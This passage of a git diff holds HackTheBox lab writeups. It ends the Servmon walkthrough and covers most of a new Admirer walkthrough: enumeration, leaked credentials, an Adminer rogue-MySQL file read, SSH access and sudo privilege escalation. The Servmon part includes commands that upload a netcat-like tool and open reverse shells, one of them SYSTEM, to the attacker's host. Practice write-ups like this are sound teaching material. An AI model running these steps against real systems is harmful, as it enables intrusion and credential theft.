them in case a problem like this happens: + +![](prg/45_015.png) + +Literally every other writeup of this machine uses netcat (x86 or x64 versions) and yet it is not doable on this box. Therefore we need to get a binary file onto the box that will replicate what netcat does but at the same time bypassing whatever is preventing us from getting a reverse shell (privileged or not) from this box, although we could hypothesize that this box has flagged several of our netcat binaries, we can't know for sure. To do so we're going to use [xc](https://github.com/xct/xc) which is a golang version of netcat written by [xct](https://app.hackthebox.eu/profile/13569): + + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [~/HTB/Servmon] + → sudo apt install golang-go + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [~/HTB/Servmon] + → git clone https://github.com/xct/xc ; cd xc + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [~/HTB/Servmon] + → go version + go version go1.15.9 linux/amd64 + + + +We first need go version 1.15+ to be able to compile the xc binary, then clone the xc repository, then we follow the setup steps on the README.md: + + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc] + → go get golang.org/x/sys/... + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc] + → go get golang.org/x/text/encoding/unicode + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc] + → go get github.com/hashicorp/yamux + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc] + → go get github.com/ropnop/go-clr + package github.com/ropnop/go-clr: build constraints exclude all Go files in /home/nothing/go/src/github.com/ropnop/go-clr + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc] + → pip3 install donut-shellcode + Collecting donut-shellcode + Downloading donut-shellcode-0.9.2.tar.gz (149 kB) + |████████████████████████████████| 149 kB 2.0 MB/s + Building wheels for collected packages: donut-shellcode + Building wheel for donut-shellcode (setup.py) ... done + Created wheel for donut-shellcode: filename=donut_shellcode-0.9.2-cp39-cp39-linux_x86_64.whl size=56786 sha256=0e6037e945da6f8496c98bdb849a13ca84339af1ef50166a7480d6477d9729b8 + Stored in directory: /home/nothing/.cache/pip/wheels/ac/72/45/1a77c4737812b5635cd958224c0ff623ebcef62c15ef083bab + Successfully built donut-shellcode + Installing collected packages: donut-shellcode + Successfully installed donut-shellcode-0.9.2 + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc] + → sudo apt install rlwrap upx -y + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc] + → make + + + + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc] + → ls -lash | grep xc + 1.3M -rwxr-xr-x 1 nothing nothing 1.3M May 30 14:03 xc + 3.2M -rwxr-xr-x 1 nothing nothing 3.2M May 30 14:03 xc.exe + 4.0K -rw-r--r-- 1 nothing nothing 2.7K May 30 14:03 xc.go + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc] + → file xc xc.exe xc.go + xc: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), statically linked, no section header + xc.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows + xc.go: C source, ASCII text + + + +So now we successfully compiled xc for both linux and windows, let's test the linux version: + +![](prg/45_016.png) + +Looks like it is working locally, so let's test the windows version of xc on the box: + + + [ 10.10.14.13/23 ] [ /dev/pts/38 ] [~/HTB/Servmon] + → python3 -m http.server 9090 + + PS C:\Users\Nadine> wget http://10.10.14.13:9090/xc/xc.exe -o c:\temp\xc.exe + + PS C:\Users\Nadine> cd c:\temp + + PS C:\temp> ./xc.exe 10.10.14.13 9001 + 2021/05/30 13:59:45 Connected to 10.10.14.13:9001 + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [HTB/Servmon/xc] + → ./xc -l -p 9001 + + __ _____ + \ \/ / __| + > <****(__ + /_/\_\___| by @xct_de + build: QUnVVFdLYEkibcKx + + 2021/05/30 14:51:44 Listening on :9001 + 2021/05/30 14:51:44 Waiting for connections... + 2021/05/30 14:52:08 Connection from 10.10.10.184:56967 + 2021/05/30 14:52:08 Stream established + + [*] Auto-Plugins: + [xc: C:\temp]: !shell + Microsoft Windows [Version 10.0.18363.752] + (c) 2019 Microsoft Corporation. All rights reserved. + + nadine@SERVMON C:\temp>whoami + whoami + servmon\nadine + +And we managed to get a reverse shell ! Although it's as the nadine user, so let's get one with the privesc exploit: + + + PS C:\temp> wget http://10.10.14.13:9090/xc/xc.exe -o c:\temp\xc.exe + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [HTB/Servmon/xc] + → ./xc -l -p 9001 + + [ 10.10.14.13/23 ] [ /dev/pts/5 ] [~/HTB/Servmon] + → python3 48360.py -t 127.0.0.1 -P 8443 -p ew2x6SsGTxjRwXOT -c "C:\Temp\xc.exe 10.10.14.13 9001" + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [HTB/Servmon/xc] + → ./xc -l -p 9001 + + __ _____ + \ \/ / __| + > <****(__ + /_/\_\___| by @xct_de + build: QUnVVFdLYEkibcKx + + 2021/05/30 15:02:41 Listening on :9001 + 2021/05/30 15:02:41 Waiting for connections... + 2021/05/30 15:03:08 Connection from 10.10.10.184:57375 + 2021/05/30 15:03:08 Stream established + + [*] Auto-Plugins: + [xc: C:\Program Files\NSClient++]: !shell + Microsoft Windows [Version 10.0.18363.752] + (c) 2019 Microsoft Corporation. All rights reserved. + + C:\Program Files\NSClient++>whoami + whoami + nt authority\system + + C:\Program Files\NSClient++>type C:\Users\Administrator\Desktop\root.txt + type C:\Users\Administrator\Desktop\root.txt + d8XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + +And that's it! We managed to get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/45_graph.png) + diff --git a/Easy/46.md b/Easy/46.md new file mode 100644 index 0000000..18ed29d --- /dev/null +++ b/Easy/46.md @@ -0,0 +1,808 @@ +# Admirer Writeup + +![](img/46.png) + +## Introduction : + +Admirer is an easy/Medium linux box released back in May 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Admirer] + → nmap -vvv -p- 10.10.10.187 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 22/tcp on 10.10.10.187 + Discovered open port 80/tcp on 10.10.10.187 + Discovered open port 21/tcp on 10.10.10.187 + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Admirer] + → nmap -sCV -p22,80,21 10.10.10.187 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-31 12:53 CEST + Nmap scan report for 10.10.10.187 + Host is up (0.035s latency). + + PORT STATE SERVICE VERSION + 21/tcp open ftp vsftpd 3.0.3 + 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0) + | ssh-hostkey: + | 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA) + | 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA) + |_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519) + 80/tcp open http Apache httpd 2.4.25 ((Debian)) + | http-robots.txt: 1 disallowed entry + |_/admin-dir + |_http-server-header: Apache/2.4.25 (Debian) + |_http-title: Admirer + Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 8.48 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80, so let's investigate it: + +![](prg/46_001.png) + +basic enumeration on this webpage doesn't give us anything, the /admin-dir directory gives us a 403 forbdiden error as our nmap scan hinted us towards. So let's try to list the other directories on this website using gobuster: + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Admirer] + → gobuster dir -u http://10.10.10.187 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php -t 50 + =============================================================== + Gobuster v3.1.0 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://10.10.10.187 + [+] Method: GET + [+] Threads: 50 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.1.0 + [+] Extensions: php + [+] Timeout: 10s + =============================================================== + 2021/05/31 13:07:07 Starting gobuster in directory enumeration mode + =============================================================== + /index.php (Status: 200) [Size: 6051] + /assets (Status: 301) [Size: 313] [--> http://10.10.10.187/assets/] + /images (Status: 301) [Size: 313] [--> http://10.10.10.187/images/] + /server-status (Status: 403) [Size: 277] + + =============================================================== + 2021/05/31 13:13:11 Finished + =============================================================== + + + +Now the trick here was not run gobuster from the root of the webserver, but from the **/admin-dir** directory that is supposed to be 403 forbidden. + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Admirer] + → gobuster dir -u http://10.10.10.187/admin-dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php -t 50 + =============================================================== + Gobuster v3.1.0 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://10.10.10.187/admin-dir + [+] Method: GET + [+] Threads: 50 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.1.0 + [+] Extensions: php + [+] Timeout: 10s + =============================================================== + 2021/05/31 13:14:57 Starting gobuster in directory enumeration mode + =============================================================== + /.htaccess (Status: 403) [Size: 277] + /.htpasswd (Status: 403) [Size: 277] + /.htpasswd.php (Status: 403) [Size: 277] + /.hta (Status: 403) [Size: 277] + /.htaccess.php (Status: 403) [Size: 277] + /.hta.php (Status: 403) [Size: 277] + **/contacts.txt (Status: 200) [Size: 350] + /credentials.txt (Status: 200) [Size: 136]** + + =============================================================== + 2021/05/31 13:15:07 Finished + =============================================================== + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Admirer] + → curl http://10.10.10.187/robots.txt + User-agent: * + + # This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo + Disallow: /admin-dir + + + +And here we see that we have been able to get access to 2 textfiles that, according to robots.txt wasn't possible to access, but it was! so let's see what we got: + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Admirer] + → curl http://10.10.10.187/admin-dir/contacts.txt + ########## + # admins # + ########## + # Penny + Email: p.wise@admirer.htb + + + ############## + # developers # + ############## + # Rajesh + Email: r.nayyar@admirer.htb + + # Amy + Email: a.bialik@admirer.htb + + # Leonard + Email: l.galecki@admirer.htb + + + + ############# + # designers # + ############# + # Howard + Email: h.helberg@admirer.htb + + # Bernadette + Email: b.rauch@admirer.htb + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Admirer] + → curl http://10.10.10.187/admin-dir/credentials.txt + [Internal mail account] + w.cooper@admirer.htb + fgJr6q#S\W:$P + + **[FTP account] + ftpuser + %n?4Wz}R$tTF7** + + [Wordpress account] + admin + w0rdpr3ss01! + + + +So here we get a few usernames, and with passwords, let's take a look at the ftp service first: + +![](prg/46_002.png) ![](prg/46_003.png) + +we download both files: + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Admirer] + → ls -lash + total 5.1M + 4.0K drwxr-xr-x 2 nothing nothing 4.0K May 31 13:46 . + 4.0K drwxr-xr-x 11 nothing nothing 4.0K May 31 11:40 .. + 4.0K -rw-r--r-- 1 nothing nothing 3.4K May 31 13:46 dump.sql + 5.1M -rw-r--r-- 1 nothing nothing 5.1M May 31 13:46 html.tar.gz + + +Let's take a look at the sql file we found: + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Admirer] + → cat dump.sql + -- MySQL dump 10.16 Distrib 10.1.41-MariaDB, for debian-linux-gnu (x86_64) + -- + -- Host: localhost Database: admirerdb + -- ------------------------------------------------------ + -- Server version 10.1.41-MariaDB-0+deb9u1 + + /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; + /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; + /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; + /*!40101 SET NAMES utf8mb4 */; + /*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; + /*!40103 SET TIME_ZONE='+00:00' */; + /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; + /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; + /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; + /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; + + -- + -- Table structure for table `items` + -- + + DROP TABLE IF EXISTS `items`; + /*!40101 SET @saved_cs_client = @@character_set_client */; + /*!40101 SET character_set_client = utf8 */; + CREATE TABLE `items` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `thumb_path` text NOT NULL, + `image_path` text NOT NULL, + `title` text NOT NULL, + `text` text, + PRIMARY KEY (`id`) + ) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=utf8mb4; + /*!40101 SET character_set_client = @saved_cs_client */; + + -- + -- Dumping data for table `items` + -- + + LOCK TABLES `items` WRITE; + /*!40000 ALTER TABLE `items` DISABLE KEYS */; + INSERT INTO `items` VALUES (1,'images/thumbs/thmb_art01.jpg','images/fulls/art01.jpg','Visual Art','A pure showcase of skill and emotion.'),(2,'images/thumbs/thmb_eng02.jpg','images/fulls/eng02.jpg','The Beauty and the Beast','Besides the technology, there is also the eye candy...'),(3,'images/thumbs/thmb_nat01.jpg','images/fulls/nat01.jpg','The uncontrollable lightshow','When the sun decides to play at night.'),(4,'images/thumbs/thmb_arch02.jpg','images/fulls/arch02.jpg','Nearly Monochromatic','One could simply spend hours looking at this indoor square.'),(5,'images/thumbs/thmb_mind01.jpg','images/fulls/mind01.jpg','Way ahead of his time','You probably still use some of his inventions... 500yrs later.'),(6,'images/thumbs/thmb_mus02.jpg','images/fulls/mus02.jpg','The outcomes of complexity','Seriously, listen to Dust in Interstellar\'s OST. Thank me later.'),(7,'images/thumbs/thmb_arch01.jpg','images/fulls/arch01.jpg','Back to basics','And centuries later, we want to go back and live in nature... Sort of.'),(8,'images/thumbs/thmb_mind02.jpg','images/fulls/mind02.jpg','We need him back','He might have been a loner who allegedly slept with a pigeon, but that brain...'),(9,'images/thumbs/thmb_eng01.jpg','images/fulls/eng01.jpg','In the name of Science','Some theories need to be proven.'),(10,'images/thumbs/thmb_mus01.jpg','images/fulls/mus01.jpg','Equal Temperament','Because without him, music would not exist (as we know it today).'); + /*!40000 ALTER TABLE `items` ENABLE KEYS */; + UNLOCK TABLES; + /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; + + /*!40101 SET SQL_MODE=@OLD_SQL_MODE */; + /*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; + /*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; + /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; + /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; + /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; + /*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; + + -- Dump completed on 2019-12-02 20:24:15 + + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Admirer] + → tar -xvf html.tar.gz + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Admirer] + → tree + . + ├── assets + │   ├── css + │   │   ├── fontawesome-all.min.css + │   │   ├── images + │   │   │   ├── arrow.svg + │   │   │   ├── close.svg + │   │   │   └── spinner.svg + │   │   ├── main.css + │   │   └── noscript.css + │   ├── js + │   │   ├── breakpoints.min.js + │   │   ├── browser.min.js + │   │   ├── jquery.min.js + │   │   ├── jquery.poptrox.min.js + │   │   ├── main.js + │   │   └── util.js + │   ├── sass + │   │   ├── base + │   │   │   ├── _page.scss + │   │   │   ├── _reset.scss + │   │   │   └── _typography.scss + │   │   ├── components + │   │   │   ├── _actions.scss + │   │   │   ├── _button.scss + │   │   │   ├── _form.scss + │   │   │   ├── _icon.scss + │   │   │   ├── _icons.scss + │   │   │   ├── _list.scss + │   │   │   ├── _panel.scss + │   │   │   ├── _poptrox-popup.scss + │   │   │   └── _table.scss + │   │   ├── layout + │   │   │   ├── _footer.scss + │   │   │   ├── _header.scss + │   │   │   ├── _main.scss + │   │   │   └── _wrapper.scss + │   │   ├── libs + │   │   │   ├── _breakpoints.scss + │   │   │   ├── _functions.scss + │   │   │   ├── _mixins.scss + │   │   │   ├── _vars.scss + │   │   │   └── _vendor.scss + │   │   ├── main.scss + │   │   └── noscript.scss + │   └── webfonts + │   ├── fa-brands-400.eot + │   ├── fa-brands-400.svg + │   ├── fa-brands-400.ttf + │   ├── fa-brands-400.woff + │   ├── fa-brands-400.woff2 + │   ├── fa-regular-400.eot + │   ├── fa-regular-400.svg + │   ├── fa-regular-400.ttf + │   ├── fa-regular-400.woff + │   ├── fa-regular-400.woff2 + │   ├── fa-solid-900.eot + │   ├── fa-solid-900.svg + │   ├── fa-solid-900.ttf + │   ├── fa-solid-900.woff + │   └── fa-solid-900.woff2 + ├── dump.sql + ├── html.tar.gz + ├── images + │   ├── fulls + │   │   ├── arch01.jpg + │   │   ├── arch02.jpg + │   │   ├── art01.jpg + │   │   ├── art02.jpg + │   │   ├── eng01.jpg + │   │   ├── eng02.jpg + │   │   ├── mind01.jpg + │   │   ├── mind02.jpg + │   │   ├── mus01.jpg + │   │   ├── mus02.jpg + │   │   ├── nat01.jpg + │   │   └── nat02.jpg + │   └── thumbs + │   ├── thmb_arch01.jpg + │   ├── thmb_arch02.jpg + │   ├── thmb_art01.jpg + │   ├── thmb_art02.jpg + │   ├── thmb_eng01.jpg + │   ├── thmb_eng02.jpg + │   ├── thmb_mind01.jpg + │   ├── thmb_mind02.jpg + │   ├── thmb_mus01.jpg + │   ├── thmb_mus02.jpg + │   ├── thmb_nat01.jpg + │   └── thmb_nat02.jpg + **├── index.php** + ├── robots.txt + ├── utility-scripts + │   ├── admin_tasks.php + │   ├── db_admin.php + │   ├── info.php + │   └── phptest.php + └── w4ld0s_s3cr3t_d1r + ├── contacts.txt + └── credentials.txt + + + +We take a look into index.php: + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Admirer] + → cat index.php + + [...] + <****?php + $servername = "localhost"; + $username = "waldo"; + $password = "]F7jLHw:*G>UPrTo}~A"d6b"; + $dbname = "admirerdb"; + + [...] + +We have also found it using grep recursively: + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Admirer] + → grep -ir password + **index.php: $password = "]F7jLHw:*G>UPrTo}~A"d6b";** + index.php: $conn = new mysqli($servername, $username, $password, $dbname); + **utility-scripts/db_admin.php: $password = "Wh3r3_1s_w4ld0?";** + utility-scripts/db_admin.php: $conn = new mysqli($servername, $username, $password); + assets/css/main.css: input[type="password"], + assets/css/main.css: input[type="password"]:invalid, + assets/css/main.css: input[type="password"]:focus, + assets/css/main.css: input[type="password"], + + [...] + + + +Here we see yet another password **Wh3r3_1s_w4ld0** + +There is also info.php available onto the box: + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Admirer] + → ls -lash utility-scripts + total 24K + 4.0K drwxr-x--- 2 nothing nothing 4.0K Dec 2 2019 . + 4.0K drwxr-xr-x 6 nothing nothing 4.0K May 31 13:55 .. + 4.0K -rw-r----- 1 nothing nothing 1.8K Dec 2 2019 admin_tasks.php + 4.0K -rw-r----- 1 nothing nothing 401 Dec 1 2019 db_admin.php + 4.0K -rw-r----- 1 nothing nothing 20 Nov 29 2019 info.php + 4.0K -rw-r----- 1 nothing nothing 53 Dec 2 2019 phptest.php + + + +` ![](prg/46_004.png) + +So now we know that the server is running PHP version 7.0, but let's take a look at adnin_tasks.php: + +![](prg/46_005.png) + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [HTB/Admirer/utility-scripts] + → cat admin_tasks.php | grep exec + echo str_replace("\n", " + ", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1")); + + +Which reveals us the admin_tasks.sh bashscript which is in the /opt/ directory so we can't read it's sourcecode yet. Now the trick here was that the utility-scripts directory does have an extra php file, and in order to find it we need to use a bigger wordlist against said directory: + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [HTB/Admirer/utility-scripts] + → gobuster dir -u http://10.10.10.187/utility-scripts/ -w /usr/share/seclists/Discovery/Web-Content/big.txt --extensions php,txt -t 50 + =============================================================== + Gobuster v3.1.0 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://10.10.10.187/utility-scripts/ + [+] Method: GET + [+] Threads: 50 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.1.0 + [+] Extensions: php,txt + [+] Timeout: 10s + =============================================================== + 2021/05/31 15:49:44 Starting gobuster in directory enumeration mode + =============================================================== + /.htaccess.txt (Status: 403) [Size: 277] + /.htpasswd (Status: 403) [Size: 277] + /.htaccess (Status: 403) [Size: 277] + /.htpasswd.txt (Status: 403) [Size: 277] + /.htaccess.php (Status: 403) [Size: 277] + /.htpasswd.php (Status: 403) [Size: 277] + **/adminer.php (Status: 200) [Size: 4294]** + /info.php (Status: 200) [Size: 83771] + /phptest.php (Status: 200) [Size: 32] + + =============================================================== + 2021/05/31 15:50:38 Finished + =============================================================== + + + +Which leads us to the **adminer** php webpage which we didn't see before in the html tar gz file: + +![](prg/46_006.png) + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [HTB/Admirer/utility-scripts] + → searchsploit adminer + -------------------------------------------- --------------------------------- + Exploit Title | Path + -------------------------------------------- --------------------------------- + Adminer 4.3.1 - Server-Side Request Forgery | php/webapps/43593.txt + -------------------------------------------- --------------------------------- + Shellcodes: No Results + + +now that we know that there is an exploit for this service: + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [HTB/Admirer/utility-scripts] + → cat $(locate 43593.txt) + + + +But we can also find it [here](https://sansec.io/research/adminer-4.6.2-file-disclosure-vulnerability): + +![](prg/46_007.png) ![](prg/46_008.png) + +Looking at this blogpost, we already found adminer.php on the system, and what's left to do is to create our own malicious MySQL server since external connections should be possible. So let's try it: + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Admirer] + → sudo apt install mariadb-server mariadb-client + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Admirer] + → sudo systemctl start mariadb + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Admirer] + → mysql -u root -p + Enter password: + ERROR 1698 (28000): Access denied for user 'root'@'localhost' + + +That's because you need to be the root user to setup mysql: + + + ┌──(root💀nowhere)-[~] + └─# mysql -u root -p + Enter password: + Welcome to the MariaDB monitor. Commands end with ; or \g. + Your MariaDB connection id is 57 + Server version: 10.5.9-MariaDB-1 Debian buildd-unstable + + Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. + + Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + + MariaDB [(none)]> + + +Now let's setup our database: + + + MariaDB [(none)]> ALTER USER 'root'@'localhost' IDENTIFIED BY 'P@SSW0RD'; + Query OK, 0 rows affected (0.004 sec) + + MariaDB [(none)]> CREATE DATABASE backup; USE backup; CREATETABLE backup (name VARCHAR(2000)); + Query OK, 1 row affected (0.000 sec) + + MariaDB [backup]> CREATE DATABASE backup; USE backup; CREATE TABLE backup (name VARCHAR(2000)); + ERROR 1007 (HY000): Can't create database 'backup'; database exists + Database changed + Query OK, 0 rows affected (0.029 sec) + + MariaDB [backup]> CREATE USER 'backup'@'10.10.10.187' IDENTIFIED BY 'P@SSW0RD'; + Query OK, 0 rows affected (0.004 sec) + + MariaDB [backup]> GRANT ALL PRIVILEGES ON backup.* TO 'backup'@'10.10.10.187'; + Query OK, 0 rows affected (0.004 sec) + + +once that's done, we make sure that our mysql instance can communicate to our tun0 interface: + + + MariaDB [backup]> exit; + Bye + + ┌──(root💀nowhere)-[~] + └─# vim /etc/mysql/mariadb.conf.d/50-server.cnf + + [...] + + bind-address = 10.10.14.13 # and not 127.0.0.1 + + [...] + + :wq + + ┌──(root💀nowhere)-[~] + └─# systemctl restart mariadb + + +Once we restarted mariadb we see that we can see that our mysql port is up and running for our htb ip: + + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Admirer] + → nmap -p 3306 10.10.14.13 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-31 17:58 CEST + Nmap scan report for 10.10.14.13 + Host is up (0.000050s latency). + + PORT STATE SERVICE + 3306/tcp open mysql + + Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds + + + +` ![](prg/46_009.png) + +After logging in, go to the SQL command pane: + +![](prg/46_010.png) + +Next step is to make use of the **load data** function to examine files on the machine: + + + load data local infile '../index.php' + into table backup + fields terminated by "/n" + + + +` ![](prg/46_011.png) ![](prg/46_012.png) + +and now the index.php file got imported into the backup mysql database, so we simply check it's structure to see it's contents: + +![](prg/46_013.png) + +And we got waldo's credentials ! **waldo: &<****h5b~yK3F#{PaPB &dA;}{H>**, so let's login as waldo via ssh: + + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Admirer] + → ssh waldo@10.10.10.187 + The authenticity of host '10.10.10.187 (10.10.10.187)' can't be established. + ECDSA key fingerprint is SHA256:NSIaytJ0GOq4AaLY0wPFdPsnuw/wBUt2SvaCdiFM8xI. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.187' (ECDSA) to the list of known hosts. + waldo@10.10.10.187's password: + Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux + + The programs included with the Devuan GNU/Linux system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent + permitted by applicable law. + You have new mail. + Last login: Wed Apr 29 10:56:59 2020 from 10.10.14.3 + waldo@admirer:~$ id + uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins) + waldo@admirer:~$ cat user.txt + 3cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it! We managed to get the user flag. + +## **Part 3 : Getting Root Access** + +to privesc to the root user, we first need to run linpeas.sh to enumerate the box: + + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Admirer] + → cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh . + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Admirer] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + waldo@admirer:~$ wget http://10.10.14.13:9090/linpeas.sh -O /tmp/linpeas.sh + --2021-05-31 19:54:54-- http://10.10.14.13:9090/linpeas.sh + Connecting to 10.10.14.13:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: ‘/tmp/linpeas.sh’ + + /tmp/linpeas.sh 100%[==========================================================================================================================================================>] 333.85K 701KB/s in 0.5s + + 2021-05-31 19:54:55 (701 KB/s) - ‘/tmp/linpeas.sh’ saved [341863/341863] + + waldo@admirer:~$ chmod +x /tmp/linpeas.sh + waldo@admirer:~$ /tmp/linpeas.sh + + + +` ![](prg/46_014.png) + +And searching through it we get hinted towards the **admin_tasks.sh** script we heard of earlier: + + + waldo@admirer:~$ sudo -l + [sudo] password for waldo: + Matching Defaults entries for waldo on admirer: + env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always + + User waldo may run the following commands on admirer: + (ALL) SETENV: /opt/scripts/admin_tasks.sh + + + +So let's see what it does: + + + waldo@admirer:~$ cat /opt/scripts/admin_tasks.sh + #!/bin/bash + + view_uptime() + { + /usr/bin/uptime -p + } + + view_users() + { + /usr/bin/w + } + + view_crontab() + { + /usr/bin/crontab -l + } + + backup_passwd() + { + if [ "$EUID" -eq 0 ] + then + echo "Backing up /etc/passwd to /var/backups/passwd.bak..." + /bin/cp /etc/passwd /var/backups/passwd.bak + /bin/chown root:root /var/backups/passwd.bak + /bin/chmod 600 /var/backups/passwd.bak + echo "Done." + else + echo "Insufficient privileges to perform the selected operation." + fi + } + + backup_shadow() + { + if [ "$EUID" -eq 0 ] + then + echo "Backing up /etc/shadow to /var/backups/shadow.bak..." + /bin/cp /etc/shadow /var/backups/shadow.bak + /bin/chown root:shadow /var/backups/shadow.bak + /bin/chmod 600 /var/backups/shadow.bak + echo "Done." + else + echo "Insufficient privileges to perform the selected operation." + fi + } + + backup_web() + { + if [ "$EUID" -eq 0 ] + then + echo "Running backup script in the background, it might take a while..." + **/opt/scripts/backup.py &** + else + echo "Insufficient privileges to perform the selected operation." + fi + } + + [...] + + + +Here we see that the bashscript, which we can run as the root user through sudo, can call for a python script named **backup.py** from the **/opt/scripts/** directory. Therefore, + + + waldo@admirer:~$ which nc + /bin/nc + + waldo@admirer:~$ cat /opt/scripts/backup.py + 